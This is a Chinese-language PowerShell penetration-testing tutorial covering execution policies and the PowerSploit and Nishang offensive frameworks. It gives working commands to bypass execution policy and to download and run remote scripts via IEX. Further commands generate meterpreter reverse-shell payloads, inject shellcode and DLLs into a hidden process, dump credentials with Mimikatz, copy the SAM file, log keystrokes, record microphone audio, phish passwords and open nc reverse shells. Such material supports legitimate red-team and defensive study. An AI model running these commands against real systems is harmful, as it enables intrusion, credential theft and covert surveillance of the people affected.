Powershell简介
1.什么是 Windows PowerShell ?
• Windows PowerShell 是 Microsoft 创建的基于任务的自动化命令行Shell和相关脚本语言(ps1),基 于 .NET 框架。
• 是Microsoft的新Shell,它将旧的命令提示符(CMD)功能与具有内置系统管理功能的新脚本指令集 结合在一起。
用于控制和自动化管理Windows操作系统和运行在操作系统上的应用。
• 被广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避 Anti-Virus 检 测。
• Windows PowerShell 中的命令称为 cmdlet ,发音为“ command-lets ”,其中每个 cmdlet 代表 特定的功能或基于任务的脚本。
• Powershell 默认安装在Win7及以后的系统上。
• 操作系统信任
• 提供Windows操作系统的几乎一切访问权限
• Windows PowerShell 集成脚本环境(ISE)
脚本执行策略
在计算机系统中启动PowerShell时,默认执行策略不允许我们执行或运行脚本。
查看当前执行策略 : Get-ExecutionPolicy
获取影响当前会话的所有执行策略,并按优先顺序显示它们 : Set-ExecutionPolicy Unrestricted
PowerShell中可以设置以下类型的执行策略:
名称 | 说明 |
---|---|
AllSigned | AllSigned 允许执行所有具有数字签名的脚本。 |
Bypass | 不阻止任何操作,并且没有任何警告或提示。 |
Default | 设置默认执行策略。Restricted 适用于 Windows 客户端。为 Windows 服务器 远程签名。 |
RemoteSigned | 允许执行具有数字签名的通过网络下载的脚本;本地创建的脚本不要求脚本具 有数字签名,可以直接执行。 |
Restricted | 受限制的,可以执行单个的命令,但不能执行脚本,执行就会报错,Windows 8,Windows 8.1,Windows Server 2012中默认策略。 |
Undefined | Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。 |
Unrestricted | 允许运行未签名的脚本。从网络上下载的脚本,在运行前会进行安全性提示。 需要确认是否执行脚本。 |
绕过执行策略
如果本身被限制无法读取文件内容,就使用本地读取然后通过管道符运行
powershell get-content a.ps1 | powershell -noprofile -
在自己的远程主机上创建ps1的文件,然后目标机器远程下载并通过IEX运行脚本
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')"
Bypass执行策略绕过
powershell -executionpolicy bypass -File ./a.ps1
Unrestricted执行策略
powershell -executionpolicy unrestricted -File ./a.ps1
常用Cmdlet命令
• 查看 powershell 版本
$PSVersionTable
Get-Host
• 查看当前环境变量
Get-ChildItem env:
gci
ls
dir
• 启动指定程序
Start-Process calc.exe
saps
start
• 获取指定进程信息
Get-Process
explorer
gps
ps
• 获取文件信息
Get-Item 1.txt
gi
• 复制文件
Copy-Item 1.txt 2.txt
cpi
cp
copy
• 移动文件
Move-Item 1.txt 2.txt
mi
mv
move
• 获取指定服务信息
Get-Service -Name Everything
Powershell渗透框架使用
PowerSploit
版本老,用起来会有兼容性问题,低版本老的情况就可以用,要用的话就要去下载,kali中也有,路径是: /usr/share/windows-resources/powersploit/CodeExecution
https://github.com/PowerShellMafia/PowerSploit.git
代码执行(CodeExecution) : Invoke-Shellcode
将shellcode注入在本地PowerShell中
1.直接执行shellcode
//生成Shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.42.132 LPORT=4444 -f powershell -o test
//加载powershell脚本(要在kali中的目录开启http服务提供下载)
IEX (New-Object Net.WebClient).DownloadString("http://192.168.42.132:8000/Invoke-Shellcode.ps1")
//加载shellcode
Invoke-Shellcode -Shellcode @($buf) -Force
查看Msf生成的脚本文件,获取到里面的数组的东西。
执行前先进行msf的监听,成功得到会话
将shellcode注入在指定进程(稳定)
先隐秘开一个进程,然后查看它的进程ID,再进行注入的操作,最后Msf开启监听,然后会得到shell
start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden
Get-Process notepad
IEX (New-Object Net.WebClient).DownloadString("http://192.168.42.132:8000/Invoke-Shellcode.ps1")
Invoke-Shellcode -ProcessID 25612 -Shellcode ($buf) -Force
Invoke-DllInjection
注意:将Dll注入到指定进程ID中,dll架构要与目标进程相符,对某些进程的注入需要一定的权限 利用 Powersploit 将dll文件注入到当前进程中,但是dll文件必须在目标主机上
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.81.134 LPORT=4567 -f dll -o test.dll
IEX (New-Object Net.WebClient).DownloadString("http://192.168.157.139/PowerSploit/CodeExecution/ Invoke-DllInjection.ps1")
start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden
get-process notepad
Invoke-DllInjection -ProcessID 2008 -Dll test.dll
Invoke-ReflectivePElnjection
将Windows PE文件(DLL/EXE)反射性地加载到powershell进程中,或反射性地将DLL注入到远程进程中(改成http那些也行)
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.81.134 lport=4567 -f exe -o msf.exe
#把在kali中生成的exe木马复制到靶机
$PEBytes = [IO.File]::ReadAllBytes('D:\msf.exe')
IEX (New-Object Net.WebClient).DownloadString("http://192.168.42.132:8000/Invoke-ReflectivePEInjection.ps1")
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
Invoke-Mimikatz
使用PowerShell将Mimikatz 2.0反射式加载到内存中。可用于转储凭据,而无需将任何内容写入磁盘。 可以用于Mimikatz的任何功能。
执行mimikatz需要管理员权限
IEX (New-Object Net.WebClient).DownloadString("http://192.168.42.132:8000/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds
其他的选项
Get-Keystrokes 键盘记录,记录按键,时间和活动窗口。
# 运行Get-Keystrokes, 并把记录结果保存到一个文件
Get-Keystrokes -LogPath D:\test1.txt
Invoke-NinjaCopy 通过读取原始卷并解析NTFS结构,从NTFS分区卷中复制文件。(需要管理员权限,可以复制受保护的 运行中的系统文件)
IEX(New-Object Net.WebClient).DownloadString("http://192.168.157.139/PowerSploit/Exfiltration/I nvoke-NinjaCopy.ps1")
# 把SAM文件复制一份到指定位置
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "D:\SAM"
Get-MicrophoneAudio 过麦克风记录声音,记录来自系统麦克风的音频并保存到磁盘,与Get-TimedScreenshot(屏幕记录)方 法一样
IEX(New-Object Net.WebClient).DownloadString("http://192.168.157.139/PowerSploit/Exfiltration/G et-MicrophoneAudio.ps1")
Get-MicrophoneAudio
Nishang(较新)
Nishang简介
Nishang 是一个基于 PowerShell 攻击脚本和有效载荷的框架和集合,支持使用 PowerShell 进行攻 击性安全、渗透测试和红队合作,集成了框架、脚本和各种payload(包括下载、执行、后门、扫描、 执行、解密、键盘记录等脚本),被广泛用于渗透测试的各个阶段。
https://github.com/samratashok/nishang
注意:使用 Nishang 在 PowerShell3.0 及以上的环境中才能正常使用
#以管理员权限打开PowerShell,导入所有的脚本到当前的PowerShell会话中
Import-Module -verbose .\nishang.psm1
#查看nishang所有功能模块
Get-Command -Module nishang
get-hlep 模块 -full
信息收集
Get-Information 从目标机上获取有价值的信息,可以获取计算机上的大量信息,例如FTP访问、进程、计算机配置信 息、无线网络和设备的信息、hosts信息等
Get-PassHashes 从目标机上获取密码Hash Get-PassHints 获取用户的密码提示信息
Check-VM 用于检测当前的机器是否是一台已知的虚拟机
Copy-VSS 使用卷影拷贝服务来复制SAM文件
执行Copy-VSS会将SAM文件保存在当前路径下
执行 Copy-VSS -DestinationDir C:\TEMP 指定保存文件的路径(必须是已经存在的路径)
Invoke-CredentialsPhish 用来欺骗用户输入账号密码信息
Keylogger 保存用户的键盘记录,保存后的文本为key.log(在 C:\Users\Administrator\AppData\Local\Temp 目录下)
接着使用 Nishang Utility 中的 Parse_Keys 来解析 key.log 文件,解析后的文件就存放着键盘记录 操作
Parse_Keys .\key.log .\su.txt
Invoke-Mimikatz 在内存中加载Mimikatz
Get-WLAN-Keys 从目标机上获取纯文本的WLAN密钥
交互式shell
参数介绍
-IPAddress 反向连接时需要连接到的IP地址
-Port 反向连接时是需要连接到的端口,选择-Bind选项时是需要监听的端口
-Reverse 反向连接 -Bind 正向连接用到的端口监听
Invoke-PowerShellTcp: 基于TCP协议的交互式shell
正向连接
攻击机:nc -nv 192.168.81.131 5000
-n 直接使用IP地址,而不通过域名服务器
-v 显示指令执行过程
目标机:Invoke-PowerShellTcp -Bind -Port 5000
反向连接
攻击机:nc -lvp 5000
目标机:Invoke-PowerShellTcp -Reverse -IPAddress 攻击机 -Port 5000